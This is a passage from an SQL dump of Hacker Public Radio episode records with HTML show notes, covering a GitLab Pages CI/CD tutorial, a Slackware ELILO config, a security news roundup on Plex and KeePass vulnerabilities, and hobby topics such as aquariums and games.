<a\nhref=\"https://www.omgubuntu.co.uk/2023/03/flathub-has-big-plans-for-2023\">https://www.omgubuntu.co.uk/2023/03/flathub-has-big-plans-for-2023</a></li>\n<li>McQueen R. (2023, March 07). [The personal blog of Robert McQueen].\nramcq. <a\nhref=\"https://ramcq.net/2023/03/07/flathub-in-2023/\">https://ramcq.net/2023/03/07/flathub-in-2023/</a></li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','Oh No, News, Threat analysis, InfoSec, User space',0,0,1),
(3822,'2023-03-28','A tale of wonder, angst and woe',526,'Dissecting a COVID watch issued by Hong Kong Department of Health','<p>\r\nIn December of 2022, I traveled to Hong Kong, at some point en-route\r\nor in-country, I contracted covid.</p>\r\n<p>Backing up a step in preparation for\r\nthe trip I was required to have a negative PCR before I could board\r\nthe plane from the US as well as proof of vaccination and at least\r\none booster shot.\r\n</p>\r\n<p><a href=\"https://hdf.chp.gov.hk/dhehd/hdf.jsp?lang=en-us\">HKSAR Department of Health - Health Declaration Form</a>\r\n(<a href=\"https://hdf.chp.gov.hk/dhehd/hdf.jsp?lang=en-us\">https://hdf.chp.gov.hk/dhehd/hdf.jsp?lang=en-us</a>)</p>\r\n<p>Upon arrival, I was required to quarantine for 3 days as well as take a home test (referred to as RAT: Rapid Antigen Test, by the locals) every day for the first 7 days</p>\r\n<p>On the 2nd full day in HK, I was required to take another clinical PCR provided at a health center, free of charge.</p>\r\n\r\n<p>On the third day I received my PCR and RAT tests as Covid Positive.</p>\r\n<p>By law I was now required to quarantine in my hotel until I tested negative on 2 consecutive days. Since my symptoms were very mild, a sniffle and low grade temp, merely 2-3 deg above normal, I could stay in the hotel and was not required to\r\ntransfer to a public health center.</p>\r\n<p>I was also required to register the positive results with a government website. This registration kicked off a series of events, including a visit from a health representative. (he stood in the hall, I was not permitted to leave the room) I was Required to install an app on my phone called &quot;Stay Home Safe\'\' and to wear a wristband that I presume was a GPS and possibly temp/pulse tracking device that connected to my phone by bluetooth. The agent installed the app, and synced the watch to it.\r\n</p>\r\n\r\n<img src=\"/eps/hpr3822/HPR-Covid-watch-disection_html_8baced7f6fbf2309.jpg\" name=\"image1.jpg\" align=\"bottom\" width=\"436\" height=\"327\" border=\"0\"/>\r\n\r\n<p>\r\nThe <a href=\"/eps/hpr3822/\">complete shownotes are available</a> downloaded from <a href=\"http://bookewyrmm.42web.io/covid.html\">http://bookewyrmm.42web.io/covid.html</a>\r\n</p>\r\n',365,0,0,'CC-BY-SA','device discovery, curiosity',0,0,1),
(3823,'2023-03-29','Gitlab Pages for website hosting',1560,'Three examples of using Gitlab\'s CICD to generate a website.','<h2 id=\"how-it-works\">How it works</h2>\n<p><a href=\"https://docs.gitlab.com/ee/user/project/pages/\"\nclass=\"uri\">https://docs.gitlab.com/ee/user/project/pages/</a></p>\n<blockquote>\n<p>GitLab always deploys your website from a specific folder called\npublic in your repository. To deploy your site, GitLab uses its built-in\ntool called GitLab CI/CD to build your site and publish it to the GitLab\nPages server. The sequence of scripts that GitLab CI/CD runs to\naccomplish this task is created from a file named .gitlab-ci.yml, which\nyou can create and modify. A specific job called pages in the\nconfiguration file makes GitLab aware that you\'re deploying a GitLab\nPages website.</p>\n</blockquote>\n<h3 id=\"overview-of-steps\">Overview of Steps</h3>\n<ul>\n<li>The end state has to be a directory named public that contains the\nsite contents</li>\n<li>Optionally, run a build process in a container to create the\ncontents of the <code>public</code> directory</li>\n<li>There has to be a <code>pages</code> declaration in\n.gitlab-ci.yml</li>\n</ul>\n<h2 id=\"example-1\">Example 1</h2>\n<h3 id=\"simple-demo\">simple demo</h3>\n<ul>\n<li>Create the Git repo and site content</li>\n<li>Go to gitlab and create new Gitlab repo</li>\n<li>Clone it to your workstation</li>\n<li>Add public folder with site files</li>\n<li>add .gitlab-ci.yml</li>\n<li>Commit and push</li>\n</ul>\n<pre class=\"bash\"><code>git clone git@gitlab.com:norrist/simple_pages_demo.git\ncd simple_pages_demo/\nmkdir public\necho &quot;Hello World&quot; &gt; public/index.html\ngit add public/\nvim  .gitlab-ci.yml\ngit add .gitlab-ci.yml\ngit commit -am &quot;new page&quot;\ngit push</code></pre>\n<h4 id=\"gitlab-ci.yml\">.gitlab-ci.yml</h4>\n<pre class=\"yaml\"><code>pages:\n  stage: deploy\n  script:\n    - echo\n  artifacts:\n    paths:\n      - public</code></pre>\n<h3 id=\"pages-settings\">Pages settings</h3>\n<ul>\n<li>Menu on left, Settings, Pages</li>\n<li>Your pages are served under:</li>\n</ul>\n<h2 id=\"example-2\">Example 2</h2>\n<h3 id=\"docs.norrist.xyz\">docs.norrist.xyz</h3>\n<ul>\n<li>Combine my HPR show notes into a single page</li>\n<li>Custom Domain\n<ul>\n<li>Verified with TXT record</li>\n</ul></li>\n</ul>\n<h4 id=\"gitlab-ci.yml-1\">.gitlab-ci.yml</h4>\n<pre class=\"yml\"><code>image: &quot;debian&quot;\nbefore_script:\n    - apt-get update\n    - apt-get install -y  pandoc\n\nstages:\n- build\npages:\n  stage: build\n  script:\n    - bash build_html.sh\n  artifacts:\n    paths:\n      - public</code></pre>\n<pre class=\"bash\"><code>set -euo pipefail\nIFS=$&#39;\\n\\t&#39;\nmkdir -pv public\nfor MD in $(ls *md)\n    do\n    echo\n    # echo &quot;---&quot;\n    # echo\n    # echo &quot;#&quot; $MD\n    echo\n    echo &quot;---&quot;\n    echo\n    cat $MD\ndone    \\\n|pandoc \\\n-H markdown.header \\\n-B body.header \\\n--toc \\\n--toc-depth=1 \\\n-f gfm \\\n-t html \\\n-o public/index.html</code></pre>\n<h2 id=\"example-3\">Example 3</h2>\n<h3 id=\"hpr-static\">HPR static</h3>\n<ul>\n<li>Build the new HPR static site</li>\n</ul>\n<h4 id=\"gitlab-ci.yml-2\">.gitlab-ci.yml</h4>\n<pre class=\"yaml\"><code>services:\n  - mariadb\nvariables:\n  MYSQL_DATABASE: hpr_hpr\n  MYSQL_ROOT_PASSWORD: mysql\n\nconnect:\n  stage: .pre\n  image: mysql\n  script:\n  - echo &quot;SELECT &#39;OK&#39;;&quot; | mysql --user=root --password=&quot;$MYSQL_ROOT_PASSWORD&quot; --host=mariadb &quot;$MYSQL_DATABASE&quot;\n\npages:\n  image: debian\n  before_script:\n      - apt update\n      - apt -y install libgetopt-complete-perl libmemory-usage-perl libconfig-std-perl libtemplate-perl libtemplate-plugin-dbi-perl libclass-dbi-perl libtie-dbi-perl libdbd-mysql-perl  libdate-calc-perl\n      - apt -y install curl mariadb-client git\n      - curl -o hpr.sql http://hackerpublicradio.org/hpr.sql\n      - mysql --user=root --host=mariadb &quot;$MYSQL_DATABASE&quot; --password=&quot;$MYSQL_ROOT_PASSWORD&quot;  &lt; hpr.sql\n\n  stage: build\n  script:\n    - git clone https://gitlab.com/roan.horning/hpr_generator.git\n    - cd hpr_generator\n    - git apply ../mysql_settings.patch\n    - grep &quot;database\\|user\\|driver\\|password&quot; site.cfg\n    - ./site-generator --all\n    - mv -v public_html ../public\n\n  artifacts:\n    paths:\n      - public\n</code></pre>\n<h3 id=\"site.cfg-patch\">site.cfg Patch</h3>\n<pre class=\"patch\"><code>diff --git a/site.cfg b/site.cfg\nindex aefadb2..0243d27 100644\n--- a/site.cfg\n+++ b/site.cfg\n@@ -8,10 +8,10 @@\n #user:        (not used - leave blank)\n #password:    (not used - leave blank)\n # Configuration settings for MySQL\n-#database: mysql\n-#driver: dbi:mysql:database=hpr_hpr:hostname=localhost\n-#user: hpr-generator  (Suggested user with read-only privileges)\n-#password: *********  (Password for user)\n+database: mysql\n+driver: dbi:mysql:database=hpr_hpr:hostname=mariadb\n+user: root\n+password: mysql\n\n # Configure the location of the templates and the generated HTML\n [app_paths]\n@@ -25,7 +25,7 @@ output_path: ./public_html\n [root_template]\n content: page.tpl.html\n #baseurl: OPTIONAL [i.e. file://&lt;full path to local website directory&gt;]\n-baseurl: file:///home/roan/Development/hpr/website/hpr_generator/public_html/\n+baseurl: https://norrist.gitlab.io/hpr_generator_build/\n media_baseurl: https://archive.org/download/hpr$eps_id/\n\n # Configure the navigation menu and the content templates for each page</code></pre>\n<h2 id=\"other-example-projects\">Other Example Projects</h2>\n<ul>\n<li><a href=\"https://gitlab.com/pages\"\nclass=\"uri\">https://gitlab.com/pages</a></li>\n<li>Hugo, Jekyll, Plain HTML, ...</li>\n<li>Fork or just Copy</li>\n</ul>\n<h3 id=\"common-frustrations\">Common Frustrations</h3>\n<ul>\n<li>Waiting on builds during debugging.</li>\n<li>Having to push to CICD instead of running local</li>\n</ul>\n<h2 id=\"links\">Links</h2>\n<p><strong>HPR Generator</strong> - <a\nhref=\"https://repo.anhonesthost.net/rho_n/hpr_generator\"\nclass=\"uri\">https://repo.anhonesthost.net/rho_n/hpr_generator</a></p>\n<table>\n<colgroup>\n<col style=\"width: 50%\" />\n<col style=\"width: 50%\" />\n</colgroup>\n<thead>\n<tr class=\"header\">\n<th>Gitlab Example Repo</th>\n<th>Gitlab pages URL</th>\n</tr>\n</thead>\n<tbody>\n<tr class=\"odd\">\n<td><a href=\"https://gitlab.com/norrist/simple_pages_demo\"\nclass=\"uri\">https://gitlab.com/norrist/simple_pages_demo</a></td>\n<td><a href=\"https://norrist.gitlab.io/simple_pages_demo/\"\nclass=\"uri\">https://norrist.gitlab.io/simple_pages_demo/</a></td>\n</tr>\n<tr class=\"even\">\n<td><a href=\"https://gitlab.com/norrist/docs.norrist.xyz\"\nclass=\"uri\">https://gitlab.com/norrist/docs.norrist.xyz</a></td>\n<td><a href=\"https://docs.norrist.xyz/\"\nclass=\"uri\">https://docs.norrist.xyz/</a></td>\n</tr>\n<tr class=\"odd\">\n<td><a href=\"https://gitlab.com/norrist/hpr_generator_build\"\nclass=\"uri\">https://gitlab.com/norrist/hpr_generator_build</a></td>\n<td><a href=\"https://norrist.gitlab.io/hpr_generator_build/\"\nclass=\"uri\">https://norrist.gitlab.io/hpr_generator_build/</a></td>\n</tr>\n</tbody>\n</table>\n',342,0,0,'CC-BY-SA',' static website, gitlab pages, docker, mysql, cicd, ',0,0,1),
(4086,'2024-04-01','HPR Community News for March 2024',0,'HPR Volunteers talk about shows released and comments posted in March 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3825,'2023-03-31','Creating a natural aquarium',2310,'Setting up your first natural, self-sustaining freshwater aquarium','<p>An alternative method to the big box store way of setting up an\naquarium.</p>\n<p>You don\'t need a bunch of equipment, chemicals, or experience to have\na balanced thriving aquarium that not only runs itself after a period of\ntime, but is a healthier environment for your aquatic creatures and will\nbe a great conversation piece.</p>\n<p>Learn how to emulate nature so that everything works together in its\nown ecosystem from the bottom up. Only a little bit of patience is\nneeded.</p>\n',375,0,0,'CC-BY-SA','aquarium,ecology,plantedtank,fish',0,0,1),
(3827,'2023-04-04','Reply to hpr 3798 ',506,'added slackware information','<p>\r\nFrom Wikipedia, the free encyclopedia<br />\r\nLILO (Linux Loader) is a boot loader for Linux and was the default boot loader for most Linux distributions in the years after the popularity of loadlin. Today, many distributions use GRUB as the default boot loader, but LILO and its variant ELILO are still in wide use. Further development of LILO was discontinued in December 2015 along with a request by Joachim Wiedorn for potential developers.<br />\r\nFor EFI-based PC hardware the now orphaned ELILO boot loader was developed,originally by Hewlett-Packard for IA-64 systems, but later also for standard i386 and amd64 hardware with EFI support.<br />\r\nOn any version of Linux running on Intel-based Apple Macintosh hardware, ELILO is one of the available bootloaders.<br />\r\nIt supports network booting using TFTP/DHCP.\r\n</p>\r\n\r\n<ul>\r\n<li><p><a href=\"https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FLILO_%28bootloader%29%23elilo\">https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FLILO_%28bootloader%29%23elilo</a></p></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/eps.php?id=3798\">hpr3798</a></p></li>\r\n<li><p><a href=\"https://slackware.com\">slackware.com</a></p></li>\r\n<li><p><a href=\"https://sourceforge.net/projects/elilo/files/elilo/\" class=\"uri\">https://sourceforge.net/projects/elilo/files/elilo/</a></p></li>\r\n<li><p>elilo.config:</p></li>\r\n</ul>\r\n<pre><code>prompt\r\ndelay=20\r\ntimeout=20\r\ndefault=g\r\n#default=h\r\nchooser=simple\r\nmessage=textmenu-message.msg\r\n\r\nimage=vmlinuz-generic\r\n        label=g\r\n    initrd=initrd.gz\r\n        read-only\r\n        append=&quot;root=/dev/nvme0n1p5 resume=/dev/nvme0n1p6&quot;\r\n\r\nimage=vmlinuz-huge\r\n        label=h\r\n        read-only\r\n        append=&quot;root=/dev/nvme0n1p5 resume=/dev/nvme0n1p6&quot;\r\n\r\nimage=dummy\r\n        label=w</code></pre>\r\n<p>slackware; reading is not an option</p>\r\n<p><small>Ken: added aditional links and wikipedia summary</small></p>\r\n',326,0,0,'CC-BY-SA','linux distros, slackware',0,0,1),
(3828,'2023-04-05','The Oh No! News.',1109,'Oh No! News, is Good News.','<h2 id=\"the-oh-no-news.\">The <em>Oh No!</em> news.</h2>\n<h2 id=\"oh-no-news-is-good-news.\"><em>Oh No!</em> News is Good\nNews.</h2>\n<hr />\n<h2 id=\"threat-analysis-your-attack-surface.\"><strong>Threat analysis;\nyour attack surface.</strong></h2>\n<ul>\n<li><strong>Article:</strong> <a\nhref=\"https://www.bleepingcomputer.com/news/security/cisa-warns-of-actively-exploited-plex-bug-after-lastpass-breach/\">CISA\nwarns of actively exploited Plex bug after LastPass breach.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://www.bleepingcomputer.com/author/sergiu-gatlan/\"\ntitle=\"Sergiu Gatlan has covered cybersecurity, technology, and other news beats for more than a decade.\">Sergiu\nGatlan</a> (2023, Mar 11).</li>\n<li>Attackers with \"admin access to a Plex Media Server could abuse the\nCamera Upload feature to make the server execute malicious code,\"\naccording to an advisory published by the Plex Security Team in May 2020\nwhen it patched the bug with the release of Plex Media Server\n1.19.3.</li>\n<li>\"This could be done by setting the server data directory to overlap\nwith the content location for a library on which Camera Upload was\nenabled. This issue could not be exploited without first gaining access\nto the server\'s Plex account.\"</li>\n<li><a href=\"https://www.cisa.gov/\">Link to Cybersecurity &amp;\nInfrastructure Security Agency (CISA).</a></li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://forums.plex.tv/t/security-regarding-cve-2020-5741/586819\">Plex\nSecurity, regarding security vulnerability CVE-2020-5741.</a>\n<ul>\n<li><strong>Author:</strong> PlexSecurity, Plex Employee. (2020,\nMay).</li>\n<li>We have recently been made aware of a security vulnerability related\nto Plex Media Server. This issue allowed an attacker with access to the\nserver administrator&#x2019;s Plex account to upload a malicious file via the\nCamera Upload feature and have the media server execute it.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://forums.plex.tv/t/plex-remote-code-execution-exploit-used-in-lastpass-breach/832727/11\">Official\nstatement from Plex, concerning vulnerabilities, on LastPass Data\nBreach.</a>\n<ul>\n<li><strong>Author:</strong> PlexInfo, Plex Employee. (2023, Feb\n28).</li>\n<li>\"We have not been contacted by LastPass so we cannot speak to the\nspecifics of their incident. We take security issues very seriously, and\nfrequently work with external parties who report issues big or small\nusing our <a\nhref=\"https://support.plex.tv/articles/reporting-security-issues/\">guidelines\nand bug bounty program</a>. When vulnerabilities are reported following\nresponsible disclosure we address them swiftly and thoroughly, and we&#x2019;ve\nnever had a critical vulnerability published for which there wasn&#x2019;t\nalready a patched version released. And when we&#x2019;ve had incidents of our\nown, we&#x2019;ve always chosen to communicate them quickly. We are not aware\nof any unpatched vulnerabilities, and as always, we invite people to\ndisclose issues to us following the guidelines linked above. Given\nrecent articles about the LastPass incident, although we are not aware\nof any unpatched vulnerabilities, we have reached out to LastPass to be\nsure.\"</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://arstechnica.com/information-technology/2023/02/lastpass-hackers-infected-employees-home-computer-and-stole-corporate-vault/\">LastPass\nsays employee&#x2019;s home computer was hacked and corporate vault taken.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://arstechnica.com/author/dan-goodin/\"\ntitle=\"Dan Goodin is Security Editor at Ars Technica, where he oversees coverage of malware, computer espionage, botnets, and hardware hacking.\">Dan\nGoodin</a>. (2023, Feb 27).</li>\n<li>According to a person briefed on a private report from LastPass who\nspoke on the condition of anonymity, the media software package that was\nexploited on the employee&#x2019;s home computer was Plex. Interestingly, Plex\nreported its own network intrusion on August 24, just 12 days after the\nsecond incident commenced.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://arstechnica.com/information-technology/2022/08/plex-imposes-password-reset-after-hackers-steal-data-for-15-million-users/\"\ntitle=\"Intruders access personal information for the majority of its 30 million users.\">Plex\nimposes password reset after attackers steal data from over 15 million\nusers.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://arstechnica.com/author/dan-goodin/\"\ntitle=\"Dan Goodin is Security Editor at Ars Technica, where he oversees coverage of malware, computer espionage, botnets, and hardware hacking.\">Dan\nGoodin</a>. (2022, Aug 24).</li>\n<li>&#x201C;Yesterday, we discovered suspicious activity on one of our\ndatabases,&#x201D; company officials wrote in an email sent to customers. &#x201C;We\nimmediately began an investigation and it does appear that a third-party\nwas able to access a limited subset of data that includes emails,\nusernames, and encrypted passwords.&#x201D;</li>\n<li>The email said that the passwords were &#x201C;hashed and secured in\naccordance with best practices,&#x201D; meaning the passwords were\ncryptographically scrambled in a way that requires attackers to devote\nadditional resources to crack the hashes and revert them back to their\nplaintext state. A Plex spokesperson said that the passwords were hashed\nusing bcrypt, among the strongest algorithms for protecting passwords.\nbcrypt automatically applies what\'s known as cryptographic salting and\npeppering to make cracking harder.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://nvd.nist.gov/vuln/detail/CVE-2023-24055\">Keepass\nvulnerablility allows attackers, with write access to the xml config, to\nexport cleartext passwords.</a>\n<ul>\n<li><strong>Author:</strong> <a href=\"https://www.nist.gov/\">National\nInstitute of Standards and Technology (NIST)</a>. (2023, Jan 21).</li>\n<li>** DISPUTED ** KeePass through 2.53 (in a default installation)\nallows an attacker, who has write access to the XML configuration file,\nto obtain the cleartext passwords by adding an export trigger. NOTE: the\nvendor\'s position is that the password database is not intended to be\nsecure against an attacker who has that level of access to the local\nPC.</li>\n<li>This vulnerability has been modified and is currently undergoing\nreanalysis. Please check back soon to view the updated vulnerability\nsummary.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://cwe.mitre.org/data/definitions/312.html\">CWE-312:\nCleartext Storage of Sensitive Information.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://cwe.mitre.org/index.html\">Common Weakness Enumeration</a>.\n(N/A).</li>\n<li>Because the information is stored in cleartext (i.e., unencrypted),\nattackers could potentially read it. Even if the information is encoded\nin a way that is not human-readable, certain techniques could determine\nwhich encoding is being used, then decode the information.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://keepass.info/help/kb/sec_issues.html\">KeePass Help Center,\nSecurity Issues.</a>\n<ul>\n<li><strong>Author:</strong> KeePass. (N/A).</li>\n<li>This page lists various potential security issues that have been\nreported and their status/analysis (whether the claims are valid,\nwhether an issue is fixed, etc.).</li>\n</ul></li>\n</ul>\n<hr />\n<h2 id=\"user-space.\"><strong>User space.</strong></h2>\n<ul>\n<li><strong>Article:</strong> <a\nhref=\"https://www.techadvisor.com/article/1535546/how-to-delete-yourself-from-the-internet.html\">How\nto delete yourself from the internet.</a>\n<ul>\n<li><strong>Author:</strong> <a href=\"https://www.techadvisor.com/author/martyncasserly\" title=\"Contributor, Tech Advisor\">Martyn Casserly</a>. (2023, Mar 9).</li>\n<li>Whether you are privacy minded or not, it&#x2019;s very difficult to be\ncompletely anonymous online. Over the years you might have posted on\nsocial media, downloaded apps, entered competitions or opened&#xA0;accounts\nwhich required details such as your email address, phone number, age,\ngender and more.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://nypost.com/2023/03/10/mark-zuckerbergs-meta-exploring-plans-for-twitter-rival/\">Mark\nZuckerberg&#x2019;s Meta exploring plans to launch a Twitter rival.</a>\n<ul>\n<li><strong>Author:</strong> Reuters (2023, Mar 10).</li>\n<li>Mark Zuckerberg&#x2019;s Meta Platforms is exploring plans to launch a new\nsocial media app in its bid to displace Twitter as the world&#x2019;s &#x201C;digital\ntown square.&#x201D;</li>\n<li>Its video-sharing app, Instagram, is also facing stiff competition\nas content makers or hit influencers abandon the platform for\nTikTok.</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>Toys for techs.</strong></li>\n<li><strong>Article:</strong> <a\nhref=\"https://magpi.raspberrypi.com/articles/inky-frame-4-0-pico-w-aboard-review\"\ntitle=\"A compact Pico W powered e-ink photo frame\">Inky Frame 4.0\" (Pico\nW Aboard) review.</a>\n<ul>\n<li><strong>Author:</strong> <a\nhref=\"https://magpi.raspberrypi.com/articles/author/5AZor69YchvlAxTXFA056E\">Phil\nKing</a>. (2023, Mar 1).</li>\n<li>\"A classy colour e-ink display whose Wi-Fi connectivity greatly\nextends its possible uses, including as a digital photo/art frame, life\norganiser, or low-power smart home dashboard.\"</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://shop.pimoroni.com/en-us/products/inky-frame-4\">Inky Frame\n4.0\" (Pico W Aboard).</a>\n<ul>\n<li><strong>Author:</strong> Pimoroni. (N/A).</li>\n<li>Raspberry Pi Pico W Aboard.</li>\n<li>4.01\" EPD display (640 x 400 pixels).\n<ul>\n<li>E Ink Gallery Palette&#x2122; 4000 ePaper</li>\n<li>ACeP (Advanced Color ePaper) 7-color with black, white, red, green,\nblue, yellow, orange.</li>\n<li>Ultra wide viewing angles</li>\n<li>Ultra low power consumption</li>\n<li>Dot pitch &#x2013; 0.135 x 0.135mm</li>\n</ul></li>\n<li>5 x tactile buttons with LED indicators</li>\n<li>Two Qw/ST connectors for attaching breakouts</li>\n<li>microSD card slot *</li>\n<li>Dedicated RTC chip (PCF85063A) for deep sleep / wake **</li>\n<li>Fully assembled (no soldering required)</li>\n<li><a href=\"https://github.com/pimoroni/pimoroni-pico\">C/C++ and\nMicroPython libraries</a></li>\n<li><a\nhref=\"https://cdn.shopify.com/s/files/1/0174/1800/files/inky_frame_4_schematic.pdf?v=1675859802\">Schematic</a></li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.yubico.com/blog/yubihsm-2-the-worlds-smallest-hardware-security-module-enhanced-with-new-features-to-support-security-for-the-public-sector/\">YubiHSM\n2, the world&#x2019;s smallest hardware security module, enhanced with new\nfeatures to support security for the Public Sector.</a>\n<ul>\n<li><strong>Author:</strong> Saqib Ahmad. (2023, Mar 9).</li>\n<li>AES is one of the most widely used symmetric cryptography algorithms\nand can be used in several modes such as ECB, CBC, CCM and GCM. Out of\nthese four modes, YubiHSM 2 now supports three most commonly used modes\nof encryption.</li>\n</ul></li>\n</ul>\n<hr />\n<ul>\n<li><strong>Additional Information.</strong>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Data_breach\"\ntitle=\"Data Breach: from Wikipedia, the free encyclopedia.\">What is a\nData Breach?</a> A data breach is a security violation, in which\nsensitive, protected or confidential data is copied, transmitted,\nviewed, stolen, altered or used by an individual unauthorized to do\nso.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Malware\"\ntitle=\"Malware: from Wikipedia, the free encyclopedia.\">What is\nMalware?</a> Malware (a <a\nhref=\"https://en.wikipedia.org/wiki/Portmanteau\"\ntitle=\"Multiple words are combined into a new word.\">portmanteau</a> for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser\'s computer security and privacy.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Payload_(computing)\">What is\na Payload?</a> In the context of a computer virus or worm, the payload\nis the portion of the malware which performs malicious action; deleting\ndata, sending spam or encrypting data. In addition to the payload, such\nmalware also typically has overhead code aimed at simply spreading\nitself, or avoiding detection.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Phishing\"\ntitle=\"Phishing: from Wikipedia, the free encyclopedia.\">What is\nPhishing?</a> Phishing is a form of <a\nhref=\"https://en.wikipedia.org/wiki/Social_engineering_(security)\">social\nengineering</a> where attackers deceive people into revealing sensitive\ninformation or installing malware such as <a\nhref=\"https://en.wikipedia.org/wiki/Ransomware\">ransomware</a>. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Information_security\">What is\nInformation Security (InfoSec)?</a> Information security, sometimes\nshortened to InfoSec, is the practice of protecting information by\nmitigating <a\nhref=\"https://en.wikipedia.org/wiki/Information\">information</a> risks.\nIt is part of <a\nhref=\"https://en.wikipedia.org/wiki/Risk_management_information_systems\">information\nrisk management</a>.</li>\n<li><a\nhref=\"https://en.wikipedia.org/wiki/Vulnerability_(computing)\">What is a\nVulnerability (computing)?</a> Vulnerabilities are flaws in a computer\nsystem that weaken the overall security of the device/system.\nVulnerabilities can be weaknesses in either the hardware itself, or the\nsoftware that runs on the hardware.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_surface\">What is an\n\"Attack Surface\"?</a> The attack surface of a software environment is\nthe sum of the different points (for \"attack vectors\") where an\nunauthorized user (the \"attacker\") can try to enter data to or extract\ndata from an environment. Keeping the attack surface as small as\npossible is a basic security measure.</li>\n<li><a href=\"https://en.wikipedia.org/wiki/Attack_vector\">What is an\n\"Attack Vector\"?</a> In computer security, an attack vector is a\nspecific path, method, or scenario that can be exploited to break into\nan IT system, thus compromising its security. The term was derived from\nthe corresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.</li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','Oh No, News, Threat analysis, InfoSec, User space',0,0,1),
(3831,'2023-04-10','Introducing Bumble Bee.',2541,'Some Guy On the Internet chats with a friend, Bumble Bee.','<ul>\n<li><strong>Article:</strong> <a href=\"https://7daystodie.com/\"\ntitle=\"title currently in alpha stage development\">The \"7 days to die\"\nwebsite.</a>\n<ul>\n<li><strong>Author:</strong> The Fun Pimps. (N/A).</li>\n<li>An open-world game that is a unique combination of first-person\nshooter, survival horror, tower defense, and role-playing games. Play\nthe definitive zombie survival sandbox RPG that came first.</li>\n</ul></li>\n<li><strong>Supporting Article:</strong> <a\nhref=\"https://store.steampowered.com/app/251570/7_Days_to_Die/\"\ntitle=\"Early Access Game\">The Steam page for \"7 days to die\".</a>\n<ul>\n<li><strong>Author:</strong> Steampowered.com. (N/A).</li>\n<li>Note: This Early Access game is not complete and may or may not\nchange further. If you are not excited to play this game in its current\nstate, then you should wait to see if the game progresses further in\ndevelopment.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://cricut.com/en-us/cutting-machines/cricut-maker/cricut-maker-3/cricut-maker-3/2008334.html\"\ntitle=\"Cricut Maker 3\">Cricut Maker 3 product page.</a>\n<ul>\n<li><strong>Author:</strong> Cricut shop. (N/A).</li>\n<li>Make more than you ever dreamed possible with Cricut Maker 3, the\nultimate smart cutting machine.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://www.minecraft.net/en-us\">Welcome to the official site of\nMinecraft.</a>\n<ul>\n<li><strong>Author:</strong> Mojang. (N/A).</li>\n<li>A game about placing blocks and going on adventures.</li>\n</ul></li>\n<li><strong>Article:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Port_forwarding\"\ntitle=\"Port forwarding allows remote computers to connect to a specific computer or service within a private local-area network.\">What\nis \"Port Forwarding\"?</a>\n<ul>\n<li><strong>Author:</strong> Wikipedia. (N/A).</li>\n<li>In computer networking, port forwarding or port mapping is an\napplication of network address translation (NAT) that redirects a\ncommunication request from one address and port number combination to\nanother while the packets are traversing a network gateway, such as a\nrouter or firewall. This technique is most commonly used to make\nservices on a host residing on a protected or masqueraded (internal)\nnetwork available to hosts on the opposite side of the gateway (external\nnetwork), by remapping the destination IP address and port number of the\ncommunication to an internal host.</li>\n</ul></li>\n</ul>\n',391,0,0,'CC-BY-SA','7 days to die, Cricut, Minecraft, Software',0,0,1),
(3829,'2023-04-06','The Edinburgh cohort of HPR hosts stops Mumbling!',3296,'Dave Morriss and MrX talk about various technical topics','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Hosts:</p>\n<ul>\n<li><a\nhref=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a></li>\n<li><a\nhref=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave\nMorriss</a></li>\n</ul>\n<p>We recorded this on Saturday March 11<sup>th</sup> 2023. This time we\nmet in person, first at a pub called <em>The Steading</em> close to the\nentrance to the <a\nhref=\"https://www.midlothian.gov.uk/info/200281/snowsports_centre\"><em>Midlothian\nSnowsports Centre</em></a> where we had something to eat and drink -\nthough they only serve breakfast items before 12 noon. Then we adjourned\nto Dave’s Citroen car (<em>Studio C</em>) in the car park and recorded a\nchat.</p>\n<p>The last of these chats was over Mumble in September 2022, so it was\ngreat to be away from home and to meet in person again after a long time\nof COVID avoidance.</p>\n<h2 id=\"topics-discussed\">Topics discussed</h2>\n<ul>\n<li>Google Docs - Dave and MrX use this to build shared notes to help\norganise these sessions\n<ul>\n<li>There are issues with cut and paste when using Firefox – it doesn’t\nwork!\n<ul>\n<li>It can be fixed by selecting <code>about:config</code> in a new\ntab.</li>\n<li>Change the attribute <code>dom.event.clipboardevents.enabled</code>\nto 